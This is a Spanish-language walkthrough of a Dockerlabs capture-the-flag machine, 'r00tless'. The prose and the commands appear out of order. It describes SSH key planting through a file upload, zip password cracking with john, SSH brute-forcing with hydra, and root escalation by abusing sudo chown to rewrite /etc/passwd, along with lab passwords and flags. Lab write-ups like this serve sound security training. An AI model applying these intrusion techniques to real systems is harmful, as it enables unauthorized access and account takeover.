Cuando obtenemos el .zip nos lo pasamos al entorno en el que vamos a empezar a hackear la maquina y haremos lo siguiente.
unzipr00tless.zip
Nos lo descomprimira y despues montamos la maquina de la siguiente forma.
bashauto_run.shr00tless.tar
Info:
██████╗ ██╗ ██╗███╗ ██╗██████╗ ██████╗ ██╗
██╔══██╗██║ ██║████╗ ██║╚════██╗██╔══██╗██║
██████╔╝██║ █╗ ██║██╔██╗ ██║ █████╔╝██║ ██║██║
██╔═══╝ ██║███╗██║██║╚██╗██║ ╚═══██╗██║ ██║╚═╝
██║ ╚███╔███╔╝██║ ╚████║██████╔╝██████╔╝██╗
╚═╝ ╚══╝╚══╝ ╚═╝ ╚═══╝╚═════╝ ╚═════╝ ╚═╝
==
@+:@ @##@
@++:-----+@ @@#+:----:+#
#-+-----:+:---------:
*::-----++-----::::#
::------+:--------:
#-+------+:-::-----#@
*::+=@@#++-------::@
@+= @++::+#@@@#*#
#-@
*+#++@
+-:::+-@
:-:+:::+
@+::*::::
*::++-::*
=:--:-:++ @-#
#*:---:--++@ @@
@::-:--++*
@::-:++#
*++*
:: Plataforma de máquinas vulnerables ::
:: Desarrollado por Pwn3d! y Dockerlabs - creado por @d1se0 ::
█▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀█
█ FLAG{Pwn3d!_is_awesome!} █
█▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄█
[✔] bc ya está instalado.
[✔] Docker ya está instalado
[!] Limpiando previos contenedores e imágenes
[✔] Cargando la máquina virtual
[✔] Activando máquina virtual
[✔] Máquina activa. Dirección IP: 172.17.0.2
[!] Presiona Ctrl+C para limpiar y salir
Por lo que cuando terminemos de hackearla, le damos a Ctrl+C y nos eliminara la maquina para que no se queden archivos basura.
Escaneo de puertos
Info:
Vemos que hay varios puertos, por lo que probaremos a enumerar el smb para ver que usuarios hay en el sistema y si podemos aprovechar algo.
Info:
No vemos que podamos hacer nada, ya que el usuario sambauser necesita contarseña, pero vemos otro llamado passsamba que de momento poco podemos hacer.
Por lo que iremos a la pagina que esta en el apache2.
Vemos que podemos subir archivos, pero no podemos hacer reverse shell ni nada parecido, por lo que haremos fuzzing a ver que encontramos.
Gobuster
Info:
Vemos que hay un /readme.txt, si leemos el .txt veremos lo siguiente.
Por lo que si lo que se sube, se sube a la carpeta de .ssh/ podremos hacer lo siguiente.
Subir clave publica (id_rsa.pub y authorized_keys)
Copiaremos nuestra id_rsa.pub a nuestro directorio actual.
Si no tenemos una Clave privada y publica haremos lo siguiente.
Una vez creadas las claves, haremos lo siguiente.
Ahora creamos el archivo authorized_keys con el contenido del id_rsa.pub.
Una vez teniendo los archivos, subiremos esos dos archivos mediante la pagina.
Una vez seleccionados los 2 archivos y subidos correctamente (Tendra que ponerte este mensaje en la pagina...)
SSH con id_rsa
Nos conectaremos mediante ssh con nuestra id_rsa privada y poniendo el usuario que vimos anteriormente en le enum4linux de la siguiente forma (En tal caso de que no supieras el usuario seria ir probando hasta que te dejara entrar con uno de ellos).
Una vez hecho esto ya estariamos dentro veremos un archivo llamado note.txt que dice lo siguiente.
Vemos que es una posible contraseña del usuario sambauser en el puerto de smb.
Escalate user root-false
SMB
Nos conectaremos con el recurso compartido que vimos anteriormente y el usuario llamado sambauser.
Metemos la contraseña sambaarribasiempre y veremos que estamos dentro, si listamos veremos lo siguiente.
Hay un archivo .zip que nos descargaremos.
Una vez descargado, nos saldremos del smb y lo intentaremos descomprimir, pero veremos que necesita contraseña, por lo que haremos lo siguiente.
zip2john
Info:
Una vez teniendo la contraseña, ahora si lo descomprimiremos.
unzip
Metemos la contraseña qwert.
Vemos que se nos descomprimio un archivo llamado secret.txt que su contenido es el siguiente.
Si decodificamos ese Base64 veremos que la contraseña del usuario root-false es.
Por lo que nos conectaremos mediante ssh.
SSH root-false
Metemos la contraseña obtenida y ya estaremos dentro, veremos un archico llamado message.txt que pondra lo siguiente.
Pero de momento no podremos hacer mucho con ello.
Escalate user less
Si vemos las IP's que tenemos con el siguiente comando.
Info:
Vemos que hay otra IP a parte de la principal, por lo que la podremos tunelizar hacia nuestro host, igualmente, si vemos los puertos que estan corriendo con netstat veremos que hay un puerto 80 en la IP 10.10.11.5 corriendo, por lo que podremos hacer lo siguiente sabiendo eso.
Tunelizar puerto 80 de la IP secundaria
Tunelizaremos la IP secuandaria con el puerto 80 a nuestro host en el puerto 8080.
Una vez hecho esto y metida la contraseña, podremos meternos en la pagina web que esta corriendo en esa IP de la siguiente forma.
Y veremos un login, si recordamos antes vimos un archivo .txt que mencionaba a un usuario llamado mario y una posible contraseña.
Si metemos esas credenciales, veremos que nos hemos logueado, dentro de esa especie de panel, si inspeccionamos el codigo, a la derecha del todo, vemos un mensaje que dice lo siguiente.
Por lo que vemos puede ser una parte de la ruta de la URL, pondremos lo siguiente.
Y veremos lo siguiente.
Vemos un texto bastante largo, por lo que alguna de estas palabras podria contener la contraseña del usuario less, nos crearemos un script en python3 para crear un diccionario con todas estas palabras y asi tirarle un hydra.
script python3
generate_dic.py
Y lo ejecutamos.
Y ahora con ese diccionario, tiramos un hydra.
hydra
Info:
Vemos que sacamos las credenciales de less, por lo que haremos lo siguiente.
SSH user less
Metemos la contraseña obtenida y ya estariamos dentro, por lo que leeremos la flag.
user.txt
Escalate Privileges
Si hacemos sudo -l veremos lo siguiente.
Vemos que podemos ejecutar como root el binario chown por lo que haremos lo siguiente.
Ahora en nuestro host generamos una contraseña para implementarle a root en el archivo passwd de la siguiente forma.
Info:
Ese texto generado, lo tendremos que sustituir por la x donde esta el usuario root de la siguiente forma.
De estar asi:
Ha estar asi:
Guardamos el archivo y ahora haremos lo siguiente.
Ponemos la contraseña que generamos en mi caso 1234 y ya seremos root por lo que leeremos la flag.
It may be that the file that is being uploaded is being uploaded in a .ssh/?
ssh-keygen -t rsa -b 4096
cp ~/.ssh/id_rsa.pub .
cat id_rsa.pub > authorized_keys
Tipo MIME detectado: text/plain
Nombre del archivo subido: id_rsa.pub
Archivo subido correctamente.
Tipo MIME detectado: text/plain
Nombre del archivo subido: authorized_keys
Archivo subido correctamente.
ssh -i ~/.ssh/id_rsa passsamba@<IP>
What would "sambaarribasiempre" be used for?
smbclient //<IP>/read_only_share -U sambauser
. D 0 Tue Aug 27 05:21:22 2024
.. D 0 Tue Aug 27 05:21:22 2024
secret.zip N 242 Tue Aug 27 05:21:14 2024
get secret.zip
zip2john secret.zip > hash
john --wordlist=<WORDLIST> hash
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
qwert (secret.zip/secret.txt)
1g 0:00:00:00 DONE (2024-08-27 10:22) 33.33g/s 1092Kp/s 1092Kc/s 1092KC/s 123456..eatme1
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
unzip secret.zip
root-false:cGFzc3dvcmRiYWRzZWN1cmV1bHRyYQ==
passwordbadsecureultra
ssh root-false@<IP>
Mario, remember this word, then the boss will get angry:
"pinguinodemarioelmejor"
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
21: eth0@if22: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether 02:42:ac:16:00:02 brd ff:ff:ff:ff:ff:ff link-netnsid 0
inet 172.22.0.2/16 brd 172.22.255.255 scope global eth0
valid_lft forever preferred_lft forever
inet 10.10.11.5/24 scope global eth0
valid_lft forever preferred_lft forever
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-08-27 10:54:09
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 64 tasks per 1 server, overall 64 tasks, 223 login tries (l:1/p:223), ~4 tries per task
[DATA] attacking ssh://172.23.0.2:22/
[22][ssh] host: 172.23.0.2 login: less password: Cristal_de_la_Aurora
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 20 final worker threads did not complete until end.
[ERROR] 20 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-08-27 10:54:13
ssh less@<IP>
381484fa9a5dfc3f62f0883a1297700c
Matching Defaults entries for less on be541860503e:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User less may run the following commands on be541860503e:
(ALL : ALL) NOPASSWD: /bin/chown